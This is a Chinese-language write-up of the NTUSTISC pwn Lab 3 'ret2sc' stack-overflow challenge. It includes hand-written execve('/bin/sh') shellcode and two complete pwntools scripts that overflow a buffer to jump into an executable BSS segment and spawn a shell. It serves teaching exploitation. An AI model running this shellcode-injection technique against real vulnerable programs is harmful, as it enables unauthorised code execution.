NTUSTISC pwn LAB 3栈溢出:
1、检查保护
2、程序分析
1)静态分析
IDA查看反汇编代码发现read函数,buf显然可以产生栈溢出,但是没有看到message的大小。通过ALT+T快捷键搜索关键词message,发现其在.bss段开启了一块0x8F-0x60+1=0x30的空间,即使填入很长的数据,message依然不能利用栈溢出。也没有在IDA中看到自定义的函数以及一些关键性的“/bin/sh”等可利用的关键字符串出现,但查看保护措施时Has RWX segments提示有可读可写可执行的BSS段,因此考虑向BSS段中写入shellcode,即向message中写入shellcode。
2)动态分析
执行此题目,2次提示输入信息。
3、漏洞利用
(1)利用思路
由于反汇编代码中没有找到可利用的如execve,system,/bin/sh等关键字,且向栈中的message数组输入超长数据仍然无法利用栈溢出,检查程序保护措施时发现其有可读可写可执行的段,而程序恰好定义了一个长度为0x30大小的message数组,通过向message数组中输入shellcode,使用buf数组进行栈溢出覆盖掉return address使其指向message数组的地址,RWX使得shellcde能够执行即可获取shell。
(2)利用过程
1)shellcode生成
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
shellcode主要是填入/bin/sh参数,执行系统调用execve:
int execve(const char *filename, char *const argv[], char *const envp[])
以小端存储的0x68732f6e69622f表示/bin/sh,将该字符串push到堆栈中,此时rsp指向栈顶地址,rsp中存的是/bin/sh的真实地址,将rsp赋值给rdi,第二个参数rsi和第三个参数rdx分别用异或置为0,execve为59号系统调用,即0x3b;
或使用自动生成shellcode;
sc = asm(shellcraft.sh())
2)message地址获取
IDA: 0x601060
objdump:objdump -d -M Inter ret2sc
3)栈溢出长度计算
使用gdb调试或直接计算:0xc0-0xb0=16,再加上return address,覆盖长度为24,之后填入message的地址即可跳到bss段上去执行。
4)exp编写
context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。一般来说设置context如下:
context(os='linux', arch='amd64', log_level='debug')
这句话的意思是:
\1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
\2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
\3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
exp代码:
1 from pwn import *
2 context.arch = 'amd64'
3 p = process("./ret2sc")
4 shellcode=asm('''
5 mov rbx,0x68732f6e69622f
6 push rbx
7 mov rdi,rsp
8 xor rsi,rsi
9 xor rdx,rdx
10 mov rax,0x3b
11 syscall''')
12 message_addr = 0x601060
13 payload = b'A'*0x18+p64(message_addr)
14 p.recvuntil(": ")
15 p.send(shellcode)
16 p.recvuntil(": ")
17 p.send(payload)
18 p.interactive()
1 from pwn import *
2 context(os='linux', arch='amd64', log_level='debug')
3 p = process("./ret2sc")
4 shellcode=asm(shellcraft.sh())
5 print(shellcode)
6 message_addr = 0x601060
7 payload = b'A'*0x18+p64(message_addr)
8 p.recvuntil(": ")
9 p.send(shellcode)
10 p.recvuntil(": ")
11 p.send(payload)
12 p.interactive()
Debug信息:
4、动态验证
gdb调试跟踪执行过程,执行到第二个read函数进入,逐步跟踪汇编指令的执行,此时还未执行到syscall。
查看寄存器状态,相关寄存器都已经存入了相应的值。
继续进行下一步调试,显示执行了一个新程序。
同时exp脚本得到了shell。